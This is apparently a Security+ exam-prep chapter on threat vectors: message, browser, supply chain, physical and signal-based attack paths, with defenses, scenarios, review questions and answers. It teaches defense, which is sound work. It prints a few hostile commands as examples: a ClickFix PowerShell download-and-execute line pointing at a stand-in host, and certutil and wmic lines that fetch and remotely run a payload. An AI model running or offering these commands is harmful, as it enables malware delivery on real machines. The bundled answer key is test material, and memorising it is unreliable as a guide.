6 Threat Vectors and Sources · Security+

Exam objective 2.3: Describe threat vectors and sources.

This objective catalogs the paths attackers use to reach their targets. It begins with the advanced persistent threat (APT) as a source of threats and then covers vectors grouped into families: message-based, image-based, attachment-based, browser-based, network-based, remote access, endpoint-based, supply chain-based, external media-based, human-based, IoT-based, OT-based, physical-based, and signal-based. Each family includes specific examples, from RCS messages and fake CAPTCHA pages to living-off-the-land tools, MSPs, malicious USB devices, watering holes, and NFC.

This is a "describe" objective with a long list of terms. Expect questions that present a short scenario and ask you to name the vector ("Which threat vector was used?") or pick the most effective control for it. The goal is not to memorize every exploit, but to recognize each vector quickly and to understand why it works. Chapter 5 described who attacks; this chapter describes how they get in. Chapter 7 then examines the vulnerabilities and attack surfaces these vectors exploit, and Chapter 8 covers the indicators that reveal them.

Threat Vectors, Attack Surfaces, and Sources

A threat vector (or attack vector) is the path or means by which a threat actor gains access to a target or delivers a malicious payload: an email, a USB drive, an exposed RDP port, a compromised vendor. The attack surface is the sum of all points where an attacker could try to enter or extract data. Every new application, device, account, vendor, and network connection adds to the attack surface, and reducing it —by removing unneeded services, accounts, and connections—is one of the most effective security strategies. A threat source is the origin of the threat, such as an APT group or an untrusted vendor.

Figure 6.1: The fourteen families of threat vectors that lead into an organization's attack surface

Memory aid

The vector is the road; the attack surface is every door and window the road might lead to; the vulnerability is the unlocked one.

Advanced Persistent Threat (APT)

An advanced persistent threat (APT) is a sophisticated, well-resourced adversary that gains unauthorized access and maintains it over an extended period, usually to steal information.

Advanced: uses custom malware, zero-day exploits, and careful tradecraft, and combines multiple vectors.
Persistent: pursues the target over time, establishes multiple footholds, and returns if expelled.
Threat: organized, funded, and goal-directed, with human operators rather than automated malware alone.

APTs are most often state-sponsored (Chapter 5), although some criminal groups now operate with APT-like patience. APTs combine many of the vectors in this chapter: spear phishing for initial access, exploitation of edge infrastructure devices, living-off-the-land tools for stealth, and supply chain compromise for scale. Dwell time—the period between initial compromise and detection—is long for APTs, sometimes months or years. Defenses include threat hunting, behavior-based detection, segmentation, and assume-breach monitoring.

If a scenario stresses long-term, stealthy, targeted access with multiple footholds and sophisticated tools, the threat source is an APT. A noisy, one-time smash-and-grab is not.

Message-Based Vectors

Message-based vectors deliver malicious links, attachments, or social engineering through communication channels.

Email

Email remains the most common initial access vector. It carries phishing links, malicious attachments, and business email compromise (BEC) requests. Attackers spoof display names, register look-alike domains, or send from compromised legitimate accounts. Defenses include secure email gateways, sandboxing of attachments, URL rewriting, SPF, DKIM, and DMARC (Chapter 14), external-sender banners, and awareness training.

Sms

Short Message Service (SMS) text messages deliver smishing (SMS phishing): fake package-delivery notices, bank alerts, and toll-payment demands with malicious links. SMS is effective because phone screens hide full URLs, users trust texts, and corporate email filters do not inspect personal phones. SMS is also used to intercept one-time passcodes, which is why SMS-based MFA is considered weaker than authenticator apps or FIDO2 keys.

Rcs

Rich Communication Services (RCS) is the carrier-standard successor to SMS, supporting images, files, read receipts, typing indicators, and branded "verified business" messages over IP. RCS expands the attack surface beyond SMS: attackers can send rich media and convincing branded-looking content, and file attachments become possible. Spoofed or unverified business senders can make lures more convincing. Users should treat RCS messages with the same suspicion as SMS, and organizations should not rely on carrier messaging for sensitive communications.

Instant Messaging

Instant messaging (IM) platforms such as WhatsApp, Signal, Telegram, and social media direct messages are used to deliver malicious links and files and to impersonate executives or IT staff. End-to-end encryption protects message confidentiality but also prevents organizational inspection, and personal IM accounts sit outside corporate monitoring. Attackers frequently move a conversation from email to IM ("text me on this number") to escape security controls.

Collaboration Tools

Collaboration tools such as Microsoft Teams, Slack, Zoom, and shared document platforms are now prime vectors. Attackers use external-tenant chat requests to impersonate help desk staff, share malicious files through trusted platforms, post links in compromised channels, and abuse webhooks and third-party integrations. Because users trust internal collaboration tools more than email, lures delivered there are effective.

Real-world scenario

An employee receives a Microsoft Teams chat request from an external account named "IT Help Desk" shortly after her inbox is flooded with thousands of spam sign-up emails. The "help desk" offers to stop the spam and asks her to start a remote support session. Once connected, the attacker installs remote access malware. The vector is a collaboration tool, combined with impersonation. Restricting external Teams access to approved domains and training users that the real help desk will not contact them this way would have prevented it.

Image-Based Vectors

QR Codes

QR codes encode URLs that users cannot read before scanning. Quishing (QR phishing) places malicious codes in emails, on parking meters, restaurant tables, and posters, often as stickers over legitimate codes. QR codes in email evade URL filters that cannot read images, and scanning usually happens on a personal phone outside corporate protections. Users should preview the decoded URL before opening it.

Embedded Content

Embedded content refers to images and other objects included in messages, documents, and web pages that can carry or trigger attacks. Remote images in email act as tracking pixels that confirm an address is valid and reveal the reader's IP address and time of opening. Images can hide malicious data through steganography, and image-parsing vulnerabilities have allowed malicious image files to execute code without user interaction. Embedded objects can also load remote content that changes after the message passes filtering. Blocking automatic loading of remote content and patching image libraries reduce the risk.

Captcha

CAPTCHA challenges ("prove you are human") are abused in two ways. First, phishing sites place a CAPTCHA in front of the malicious page so that automated security scanners cannot reach the payload, while the victim sees a familiar, trustworthy-looking step. Second, fake CAPTCHA pages (sometimes called "ClickFix" lures) instruct the user to "verify" by pressing Windows+R, pasting a command that the page silently copied to the clipboard, and pressing Enter—which runs a PowerShell command that installs malware.

Verify you are human:

1. Press Windows + R
2. Press Ctrl + V
3. Press Enter

(clipboard contains: powershell -w hidden -c "iex (iwr hxxp://cdn-check[.]example/v.ps1)")

Common trap

No legitimate CAPTCHA asks you to run a command. Any "verification" step that involves the Run dialog, a terminal, or pasting text is an attack. On the exam, this is an image-based vector that leads to user-executed code. Attachment-Based Vectors

Embedded Macros

Macros are scripts (usually VBA) embedded in Office documents. A malicious macro runs when the user clicks "Enable Content," downloading malware or running commands. Microsoft now blocks macros by default in files carrying the internet Mark of the Web, which has pushed attackers toward other formats, but macros remain relevant. Controls include Group Policy to block macros from the internet, allowing only signed macros, and attachment sandboxing.

RTF Documents

Rich Text Format (RTF) files cannot contain VBA macros, which makes users and some filters treat them as safe. However, RTF can embed OLE objects that exploit vulnerabilities in the applications that render them—the Equation Editor flaw CVE-2017-11882 is a well-known example—and can be used for remote template injection that fetches malicious content when opened. RTF files are sometimes renamed with a .doc extension to reach Word's parser.

PDFs

PDF files can contain JavaScript, embedded files, launch actions, and links. Attacks exploit vulnerabilities in PDF readers or simply use the PDF as a credible-looking wrapper for a phishing link or QR code ("Your invoice is ready—click to view"). Keeping readers patched, disabling PDF JavaScript, and opening PDFs in a sandboxed viewer help.

Browser-Based Vectors

Extensions

Browser extensions run with broad permissions—often the ability to read and change data on every site visited. Malicious extensions, or legitimate extensions that are sold to a new owner or have their developer accounts compromised and then push a malicious update, can steal session cookies, inject ads, capture keystrokes, or redirect traffic. Organizations should allow-list approved extensions through browser management policies.

JavaScript

JavaScript runs in every browser and is the engine for many web attacks: cross-site scripting (XSS) injected into vulnerable sites, malvertising delivered through ad networks, drive-by downloads, cryptojacking scripts, and formjacking (also called web skimming or Magecart attacks) that steals payment data from checkout pages. Content Security Policy (CSP), input validation, and Subresource Integrity (SRI) help defend sites; script blocking and patched browsers help users.

Password Managers

Password managers are a strong security control, but they concentrate credentials and so become a target. Threats include phishing for the master password, malware that reads the unlocked vault from memory, malicious extensions that impersonate a password manager, breaches of the provider's cloud storage, and autofill abuse in which a hidden form on a compromised page triggers automatic filling. Strong master passwords, MFA on the vault, and requiring user interaction before autofill reduce risk.

Cookies store state in the browser, including authentication data. Attackers who obtain them—through XSS, infostealer malware, malicious extensions, or unencrypted connections—can impersonate the user. Cookies set without the Secure flag can be sent over HTTP; cookies without HttpOnly can be read by JavaScript; weak SameSite settings enable cross-site request forgery. Chapter 14 covers secure cookie configuration.

Session Tokens

Session tokens (session IDs, OAuth access tokens, and refresh tokens) prove that a user has already authenticated. Stealing a token lets an attacker hijack the session and bypass passwords and MFA entirely, which is why infostealer malware targets tokens and adversary-in-the-middle (AitM) phishing kits relay logins to capture them. Short token lifetimes, binding tokens to devices, re-authentication for sensitive actions, and anomaly detection (impossible travel, new device) mitigate the risk. When a scenario says an attacker accessed an account despite MFA and without the user approving a prompt, suspect a stolen session token or cookie. MFA protects the login; it does not protect a session that already exists.

Network-Based Vectors

Infrastructure Devices

Infrastructure devices—routers, switches, firewalls, VPN concentrators, load balancers, and wireless controllers—are high-value targets. Internet-facing edge devices have been a leading initial access vector for state-sponsored groups because they are exposed, often run outdated firmware, rarely support EDR agents, and sit in positions of trust. Default credentials, exposed management interfaces, and unpatched firmware are common weaknesses. Defenses include rapid patching of edge devices, disabling management from the internet, out-of-band management networks, and logging device activity to the SIEM.

Virtualized Devices

Virtualized devices include virtual machines, virtual network appliances, virtual switches, and the hypervisors beneath them. Threats include VM escape (breaking out of a guest to the hypervisor), compromise of hypervisor management consoles (which gives control of every VM), ransomware that encrypts virtual disk files directly on the hypervisor, VM sprawl of unmanaged guests, and insecure snapshots containing sensitive data. Chapter 7 discusses virtualization vulnerabilities further.

Session Keys

Session keys are the symmetric keys that encrypt a specific communication session, such as a TLS or VPN session. If an attacker obtains a session key—through memory scraping, a server compromise, a weak key exchange, or poor random number generation—they can decrypt or hijack that session. If a server's long-term private key is stolen and the protocol lacks perfect forward secrecy, recorded past sessions can be decrypted too. Ephemeral key exchange (ECDHE), strong randomness, and protecting key material in memory and HSMs (Chapter 3) are the defenses.

Remote Access Vectors

Remote Desktop

Remote Desktop Protocol (RDP), TCP port 3389 by default, is one of the most abused vectors for ransomware. Attackers scan for exposed RDP, brute-force or spray passwords, buy stolen RDP credentials from access brokers, and exploit RDP vulnerabilities. RDP should never be exposed directly to the internet; place it behind a VPN or remote desktop gateway, require MFA and Network Level Authentication, and enable account lockout.

Vnc

Virtual Network Computing (VNC), TCP port 5900 and up, provides remote graphical control. Many VNC deployments use weak or no passwords and lack encryption, and internet-wide scans regularly find exposed VNC servers, including on industrial control systems. Tunnel VNC over SSH or a VPN, require strong authentication, and never expose it publicly.

Vpn

Virtual private networks (VPNs) are a security control but also a vector. Stolen VPN credentials without MFA give attackers direct internal network access. VPN appliances themselves have suffered severe vulnerabilities that were exploited at scale. Split tunneling can expose corporate traffic paths to compromised home networks. Defenses include MFA, patching appliances quickly, posture checks for connecting devices, and limiting what VPN users can reach.

# Firewall log excerpt: RDP brute force from the internet

2026-10-02T03:14:07Z ALLOW TCP 203.0.113.45:51022 -> 198.51.100.10:3389 2026-10-02T03:14:08Z ALLOW TCP 203.0.113.45:51031 -> 198.51.100.10:3389 2026-10-02T03:14:08Z ALLOW TCP 203.0.113.45:51040 -> 198.51.100.10:3389 ... 4,812 connections in 10 minutes ...

Endpoint-Based Vectors

Mobile Devices

Mobile devices combine personal and corporate use, connect to untrusted networks, and receive SMS, IM, and QR lures. Threats include malicious apps, sideloading apps from outside official stores, jailbreaking or rooting that removes built-in protections, lost or stolen devices, and outdated operating systems. Mobile device management (MDM) enforces encryption, screen locks, app policies, and remote wipe (Chapter 14).

Workstations

Workstations (desktops and laptops) are where users open email, browse, and run attachments, so they are the most common initial foothold. Local administrator rights, missing patches, and disabled protections make them easier to compromise. EDR, least privilege, application control, and patch management are core defenses.

Servers

Servers host applications and data and often face the internet. Exposed services, unpatched software, misconfigurations, and excessive service account privileges make them targets for initial access and for lateral movement once an attacker is inside. Hardening, segmentation, and vulnerability management apply.

Tablets

Tablets share most mobile-device risks but are often deployed as shared or kiosk devices—in retail, healthcare, and warehouses—where they may be left logged in, physically unsecured, or managed less strictly than phones. Kiosk-mode MDM profiles, auto-lock, and physical mounts help.

Trusted Devices

Trusted devices are endpoints that have been granted elevated trust: a phone registered for MFA, a computer marked as "remember this device," a paired Bluetooth device, or a managed laptop allowed through conditional access. If an attacker compromises a trusted device, or registers their own device as trusted (for example, by adding an MFA method after phishing a user), they inherit that trust and may bypass additional checks. Periodically reviewing registered devices and alerting on new device registrations counter this.

Built-In Tools

Built-in tools are utilities that ship with the operating system: PowerShell, Windows Management Instrumentation (WMI), the command prompt, Task Scheduler, certutil, bitsadmin, SSH, curl, and bash. Attackers use them because they are already present, trusted, often signed by the OS vendor, and needed for legitimate administration—so they cannot simply be deleted.

Living-Off-the-Land Tools

Living off the land (LOTL) is the technique of conducting an attack using built-in tools and legitimate administrative software rather than custom malware. Binaries abused this way are sometimes called LOLBins. LOTL extends beyond OS utilities to legitimate remote monitoring and management (RMM) software, cloud CLIs, and admin tools such as PsExec. Because no malicious file is dropped, signature-based antivirus has nothing to detect; LOTL is closely related to fileless malware (Chapter 8). certutil.exe -urlcache -split -f http://198.51.100.77/a.txt C:\Users\Public\a.exe wmic /node:FS01 process call create "cmd.exe /c C:\Users\Public\a.exe"

Defenses include application control that restricts which users can run administrative tools, PowerShell constrained language mode and script block logging, EDR behavioral detection, and baselining normal administrative activity.

The difference between "built-in tools" and "living-off-the-land tools" in the objectives is mostly perspective. Built-in tools are what is abused (native OS utilities); living off the land is how attackers operate, using any legitimate, already-trusted software to blend in.

Supply Chain-Based Vectors

A supply chain attack compromises a trusted supplier to reach that supplier's customers. One successful compromise can reach thousands of victims. Chapter 24 covers third-party risk management.

Figure 6.2: A supply chain attack compromises one trusted supplier to reach all of its customers at once Third-Party Providers

Third-party providers—vendors, contractors, consultants, and software suppliers—often hold network connections, credentials, or the ability to ship code into the organization. A software vendor whose build system is compromised can distribute trojanized updates signed with its legitimate key (as in the SolarWinds Orion compromise). Open-source libraries pulled into applications are another third-party source. Vendor assessments, software bills of materials (SBOMs), least-privilege vendor access, and monitoring vendor connections reduce exposure.

Managed Service Providers (MSPs)

MSPs manage IT for many customers through centralized RMM tools with privileged access to every customer environment. Compromising one MSP, or one RMM platform, can mean compromising all its clients simultaneously—as in the 2021 ransomware attack that abused Kaseya VSA to hit many MSPs and their downstream customers. Require MFA and least privilege for MSP accounts, log MSP actions, and include security obligations in contracts.

Logistic Providers

Logistic providers move physical goods, including hardware. Shipments can be intercepted and tampered with (sometimes called interdiction) to implant malicious hardware or firmware, or counterfeit components can be substituted. Logistics companies are also targets themselves, and attacks on them can disrupt the delivery chains of their customers. Tamper-evident packaging, trusted suppliers, hardware verification on receipt, and secure boot help.

SaaS Providers

Software-as-a-service (SaaS) providers host business data and identity. A breach at the provider, or of a provider's support system, can expose many customers. Attackers also target customer tenants at SaaS data platforms using stolen credentials where MFA was not enforced. Under the shared responsibility model, the customer still controls identity, configuration, and data access, so enforce MFA, use SSO, review OAuth app grants, and monitor SaaS audit logs.

Real-world scenario

A regional dental chain outsources IT to an MSP. Attackers compromise the MSP's remote management console and push a "maintenance script" to every client endpoint, deploying ransomware across forty dental offices overnight. None of the offices was attacked directly; all trusted the MSP's tool. The vector is supply chain-based (MSP). Contractual MFA requirements for the MSP, restricting the RMM tool's permissions, and alerts on mass script execution would have reduced the impact.

External Media-Based Vectors

Malicious USB

Malicious USB devices include flash drives loaded with malware, USB drop attacks in which attackers leave drives in parking lots hoping someone will plug one in, and devices that impersonate keyboards (human interface device (HID) attacks, such as a "Rubber Ducky") to type malicious commands at machine speed. Malicious charging cables can contain hidden wireless implants, and juice jacking refers to data theft or malware delivery through public charging ports. USB has also been the bridge into air-gapped networks, famously in Stuxnet. Defenses include disabling USB storage via Group Policy or endpoint control, blocking new HID devices, data-blocking charging adapters, and training users never to plug in found media.

Human-Based Vectors

Impersonation

Impersonation is pretending to be someone trusted—an executive, IT support, a vendor, a delivery driver, or law enforcement—to obtain access, information, or action. It often uses pretexting (a fabricated scenario that justifies the request) and pressure tactics such as urgency and authority. Voice cloning and deepfake video make impersonation more convincing. Verification through a known-good channel (calling back on a number from the directory) is the key defense.

Contractor

Contractors receive network accounts, badges, and physical access, often with less vetting, training, and oversight than employees. Their accounts may be left active after the engagement ends, and attackers may pose as contractors (cleaning crews, HVAC technicians) to gain entry. Time-limited accounts, sponsorship by an employee, escorting, and prompt deprovisioning reduce risk.

Visitor

Visitors—guests, interviewees, vendors, and delivery personnel—can observe sensitive information, plug devices into open network ports, or tailgate into restricted areas. Visitor logs, visible temporary badges, escorts, guest Wi-Fi segregated from production, and disabled unused wall ports address the vector.

Biometric

Biometric systems can be attacked by spoofing: lifted fingerprints made into molds, high-resolution photos or masks presented to facial recognition, and synthetic or cloned voices used against voice authentication. Biometric data is also sensitive: unlike a password, a stolen fingerprint cannot be changed. Liveness detection (presentation attack detection), combining biometrics with other factors, and protecting biometric templates are the defenses.

Watering Hole

A watering hole attack compromises a website that the target group is known to visit—an industry association, a local news site, a vendor portal—and uses it to deliver malware to visitors. Rather than reaching out to victims, the attacker waits for them to come, like a predator at a watering hole. The approach is effective against well-defended targets whose users cannot be easily phished. Patched browsers, script controls, web filtering, and EDR help.

Watering hole = the attacker compromises a site the victims already trust and visit. Typosquatting = the attacker registers a look-alike domain hoping victims mistype. Both deliver malicious web content, but the watering hole uses a legitimate site.

Figure 6.3: A watering hole attack uses a legitimate site victims already trust, while typosquatting relies on a look-alike domain IoT-Based Vectors

Internet of Things (IoT) devices often ship with default credentials, rarely receive firmware updates, lack logging and endpoint agents, and connect to the same networks as business systems. They are recruited into botnets (Mirai famously used default credentials on cameras and routers to launch massive DDoS attacks) and used as footholds for lateral movement. Segmenting IoT onto separate networks, changing defaults, and inventorying devices are essential.

Cameras

IP cameras are frequently exposed to the internet with default passwords, enabling botnet recruitment, surveillance of the organization by attackers, and pivoting to internal networks. Cloud-managed camera platforms add provider risk.

Sensors

Sensors—environmental, occupancy, temperature, and industrial sensors—are numerous and often overlooked. Compromised sensors can feed false data to building or industrial systems or provide a network foothold. A widely reported case involved attackers reaching a casino's network through an internet-connected aquarium thermometer.

Printers

Printers and multifunction devices store copies of scanned and printed documents, hold address books and credentials for scan-to-email or scan-to-folder, run embedded web servers, and are rarely patched. They can be used to harvest data or as a pivot point. Change default admin passwords, update firmware, encrypt and wipe stored jobs, and segment printers.

OT-Based Vectors

Operational technology (OT) includes industrial control systems (ICS), supervisory control and data acquisition (SCADA) systems, programmable logic controllers (PLCs), and building management systems. OT prioritizes availability and safety, often runs legacy operating systems that cannot be patched, and uses industrial protocols such as Modbus and DNP3 that lack authentication. Increasing IT/OT convergence connects these systems to corporate networks and remote vendors. OT attacks can cause physical damage and endanger lives. Defenses include strict segmentation, unidirectional gateways, monitored and limited vendor remote access, and OT-aware monitoring (Chapter 10 discusses OT architecture).

Physical-Based Vectors

Lock and Key

Lock and key vectors include lock picking, bump keys, shimming, bypass tools, and unauthorized key duplication. Lost keys and unrecovered keys from departed employees are common weaknesses. High-security locks with pick resistance and restricted keyways, key control logs, and electronic access control with audit trails reduce the risk.

Access Vestibule

An access vestibule (formerly called a mantrap) is a small space with two interlocking doors, only one of which can open at a time, used to prevent tailgating. Vestibules become a vector when they are misconfigured (both doors can open together), when doors are propped open for convenience, or when staff hold the inner door for someone they assume is authorized. Weight sensors, cameras, and guard monitoring strengthen them.

Access Passes

Access passes—badges, proximity cards, and smart cards—can be lost, stolen, borrowed, or cloned. Older 125 kHz proximity cards transmit an unencrypted ID that can be read from a short distance and copied with inexpensive tools. Defenses include encrypted smart cards with mutual authentication, requiring a PIN with the badge for sensitive areas, prompt deactivation of lost badges, and anti-passback rules.

Real-world scenario

A penetration tester stands behind an employee in a coffee shop line with a concealed long-range card reader in a bag. The reader captures the employee's 125 kHz proximity badge ID. That afternoon, the tester writes the ID to a blank card and walks into the office through a side door. The vector is physical (access pass cloning). Upgrading to encrypted smart cards and requiring a PIN at entrances to sensitive areas would defeat the attack.

Signal-Based Vectors

Bluetooth

Bluetooth attacks include bluejacking (sending unsolicited messages to nearby devices), bluesnarfing (stealing data such as contacts and messages from a vulnerable device), bluebugging (taking control of a device's functions), and exploitation of Bluetooth stack vulnerabilities that allow code execution without pairing. Keep Bluetooth off when not needed, set devices to non-discoverable, reject unknown pairing requests, and patch.

RF

Radio frequency (RF) vectors include jamming (flooding a frequency to deny service to Wi-Fi, wireless alarms, or cameras), replay attacks that capture and retransmit signals from car key fobs and garage or gate remotes, rolling code attacks, rogue access points and evil twins that imitate legitimate Wi-Fi networks, and interception of unencrypted wireless traffic. Wireless intrusion prevention systems (WIPS), WPA3, rolling codes, and RF monitoring help.

Nfc

Near-field communication (NFC) operates at about 13.56 MHz over a few centimeters and is used for contactless payments, badges, and device pairing. Threats include skimming (reading a card through a wallet with a concealed reader), relay attacks (forwarding a victim's NFC exchange to a distant reader in real time to complete a payment or open a door), and malicious NFC tags that launch URLs or apps when tapped. Tokenized payments, distance-bounding protocols, RFID-blocking sleeves, and requiring confirmation on the phone mitigate the risks.

Signal vector

Typical range Example attack Key defense

Bluetooth Up to about 10 meters (more with amplification)

Bluesnarfing, stack exploits Disable when unused, non-discoverable mode, patching

RF/Wi-Fi Meters to kilometers Jamming, evil twin, key fob replay

WIPS, WPA3, rolling codes

NFC A few centimeters Skimming, relay attack Tokenization, confirmation prompts, shielding

Common trap

Bluejacking only sends unsolicited messages; bluesnarfing steals data. The "snarf" in bluesnarfing means grabbing data. Exam questions often place them side by side.

Chapter Summary

A threat vector is the path an attacker uses; the attack surface is all possible entry points. An APT is a sophisticated, persistent, usually state-sponsored threat source with long dwell times.
Message-based vectors: email, SMS (smishing), RCS, instant messaging, and collaboration tools such as Teams and Slack.
Image-based vectors: QR codes (quishing), embedded content (tracking pixels, steganography, image parser exploits), and CAPTCHAs (scanner evasion and fake "ClickFix" CAPTCHAs).
Attachment-based vectors: embedded macros, RTF documents with OLE exploits, and PDFs with scripts or links.
Browser-based vectors: extensions, JavaScript, password managers, cookies, and session tokens; stolen tokens bypass MFA.
Network-based vectors: infrastructure and edge devices, virtualized devices and hypervisors, and session keys.
Remote access vectors: RDP (3389), VNC (5900), and VPN.
Endpoint-based vectors: mobile devices, workstations, servers, tablets, trusted devices, built-in tools, and living-off-the-land tools.
Supply chain vectors: third-party providers, MSPs, logistic providers, and SaaS providers.
External media: malicious USB drives, HID devices, and malicious cables.
Human-based vectors: impersonation, contractors, visitors, biometric spoofing, and watering holes.
IoT (cameras, sensors, printers), OT (ICS/SCADA), physical (lock and key, access vestibules, access passes), and signal-based (Bluetooth, RF, NFC) vectors round out the list.

Key Terms

Threat vector; attack surface; threat source; advanced persistent threat (APT); dwell time; email; smishing; SMS; Rich Communication Services (RCS); instant messaging; collaboration tools; QR code; quishing; embedded content; tracking pixel; steganography; CAPTCHA; ClickFix; macro; Mark of the Web; RTF; PDF; browser extension; JavaScript; malvertising; drive-by download; formjacking; password manager; cookie; session token; session hijacking; adversary-in-the-middle; infrastructure device; edge device; virtualized device; VM escape; session key; perfect forward secrecy; RDP; VNC; VPN; sideloading; jailbreaking; rooting; trusted device; built-in tools; living off the land (LOTL); LOLBin; supply chain attack; third-party provider; managed service provider (MSP); logistic provider; interdiction; SaaS provider; malicious USB; USB drop attack; HID attack; juice jacking; impersonation; pretexting; contractor; visitor; biometric spoofing; liveness detection; watering hole; IoT; OT; ICS; SCADA; lock and key; access vestibule; access pass; badge cloning; Bluetooth; bluejacking; bluesnarfing; RF jamming; replay attack; evil twin; NFC; relay attack; skimming.

Review Questions

1. Attackers compromise the website of a regional engineering association that employees of a target defense contractor frequently visit, and the site begins serving an exploit to visitors from the contractor's IP range. Which threat vector is this?

A. Typosquatting
B. Watering hole
C. Impersonation
D. Malvertising

2. A user reports that a web page displayed a "verify you are human" box instructing her to press Windows+R, paste text, and press Enter. Shortly afterward, EDR flagged a hidden PowerShell process. Which vector was used?

A. Embedded macro
B. Fake CAPTCHA
C. Malicious browser extension
D. RTF document

3. An attacker accesses a user's cloud email account even though the account requires MFA, and the user never approved a login prompt. Investigation finds infostealer malware on the user's home computer. What did the attacker MOST likely steal?

A. The user's password hash
B. The user's session token
C. The VPN's session key
D. The user's biometric template

4. Which of the following are examples of living-off-the-land techniques? (Select TWO.)

A. Using certutil to download a payload
B. Deploying custom compiled malware with a new hash
C. Using WMI to execute a process on a remote host
D. Exploiting a zero-day in a PDF reader
E. Mailing a USB drive to an employee

5. Ransomware is deployed simultaneously to dozens of small businesses that share no network connections but all use the same outsourced IT company's remote management platform. Which vector BEST describes this?

A. Watering hole
B. MSP supply chain compromise
C. Logistic provider interdiction
D. Unskilled attacker

6. A security team finds a USB device left in the lobby that, when inserted, identifies itself as a keyboard and types commands. Which threat vector does this represent?

A. Malicious USB (HID attack)
B. Bluetooth bluesnarfing
C. NFC relay
D. Juice jacking via a charging kiosk

7. An organization wants to reduce the risk of RDP being used as an initial access vector. Which of the following are the MOST effective measures? (Select TWO.)

A. Move RDP from port 3389 to port 3390
B. Place RDP behind a VPN or remote desktop gateway
C. Require MFA for remote desktop access
D. Disable logging for RDP sessions
E. Allow RDP from any source IP address

8. Employees receive emails containing only an image of a QR code with the message "Scan to keep your mailbox active." The email security gateway did not flag the messages. Why is this vector effective?

A. QR codes always contain encrypted malware.
B. The URL is embedded in an image that filters may not decode, and users scan it on unmanaged phones.
C. QR codes bypass DNS resolution.
D. The QR code runs a macro when viewed.

9. An attacker sitting near a victim on a train uses a concealed reader to capture data from the victim's contactless payment card through a wallet. Which signal-based vector is this?

A. Bluejacking
B. RF jamming
C. NFC skimming
D. Evil twin

10. A threat actor gains access to an agency's network through an unpatched edge VPN appliance, then remains undetected for eighteen months while establishing multiple backdoors. Which threat source BEST fits this description?

A. Unskilled attacker
B. Advanced persistent threat
C. Accidental insider
D. Hacktivist

11. An attacker sends a document in Rich Text Format, knowing that the organization's filter allows RTF because it cannot contain VBA macros. Opening the file exploits a vulnerability through an embedded OLE object. Which vector category does this belong to?

A. Attachment-based
B. Browser-based
C. Signal-based
D. Physical-based

12. A penetration tester copies an employee's 125 kHz proximity badge from a short distance and uses the clone to enter the building. Which control would BEST prevent this?

A. A warning sign at the entrance
B. Encrypted smart cards with mutual authentication
C. Longer badge lanyards
D. Disabling Bluetooth on employee phones

Answers and Explanations

1. B. Compromising a legitimate site that the target group already visits is a watering hole attack. Typosquatting relies on look-alike domains. Impersonation involves pretending to be a trusted person. Malvertising delivers malicious code through ad networks, not by compromising a specific trusted site.
2. B. Instructing the user to run a pasted command under the guise of human verification is a fake CAPTCHA (ClickFix) attack. No document or macro was involved, and nothing indicates a browser extension.
3. B. Infostealers harvest session cookies and tokens, which let an attacker reuse an authenticated session and bypass MFA. A password hash would still require MFA. A VPN session key is unrelated to cloud email. Biometric templates are not stored in browsers.
4. A, C. Certutil and WMI are built-in Windows tools; abusing them to download payloads and execute remote processes is living off the land. Custom malware, zero-day exploits, and USB drops do not rely on legitimate, already-present tools.
5. B. The common factor is the MSP's remote management platform, which reached every client: an MSP supply chain compromise. A watering hole uses a website. Logistic interdiction involves physical shipments. An unskilled attacker is an actor type, not a vector.
6. A. A USB device that emulates a keyboard is a malicious USB HID attack. Bluesnarfing uses Bluetooth, NFC relay uses contactless communication, and juice jacking uses public charging ports.
7. B, C. Removing direct internet exposure (VPN or gateway) and requiring MFA defeat the most common RDP attacks: scanning, brute force, and stolen credentials. Changing the port is obscurity that scanners easily overcome. Disabling logging and allowing any source make things worse.
8. B. Quishing hides the URL inside an image that many filters do not decode, and the scan happens on a phone outside corporate protections. QR codes do not themselves contain malware, bypass DNS, or run macros.
9. C. Reading a contactless card at close range without the owner's knowledge is NFC skimming. Bluejacking sends unsolicited Bluetooth messages, jamming denies RF service, and an evil twin imitates a Wi-Fi network.
10. B. Long-term stealthy access with multiple footholds after exploiting an edge device fits an advanced persistent threat. Unskilled attackers lack this persistence and stealth, accidental insiders do not attack, and hacktivists seek publicity rather than quiet long-term access.
11. A. A malicious RTF file delivered as a document is an attachment-based vector. Browser-based vectors involve the browser, signal-based vectors use wireless signals, and physical vectors involve facilities and locks.
12. B. Encrypted smart cards with mutual authentication cannot be cloned by simply reading a static ID, unlike 125 kHz proximity cards. A warning sign is a deterrent that does not stop cloning. Lanyard length and Bluetooth settings are irrelevant.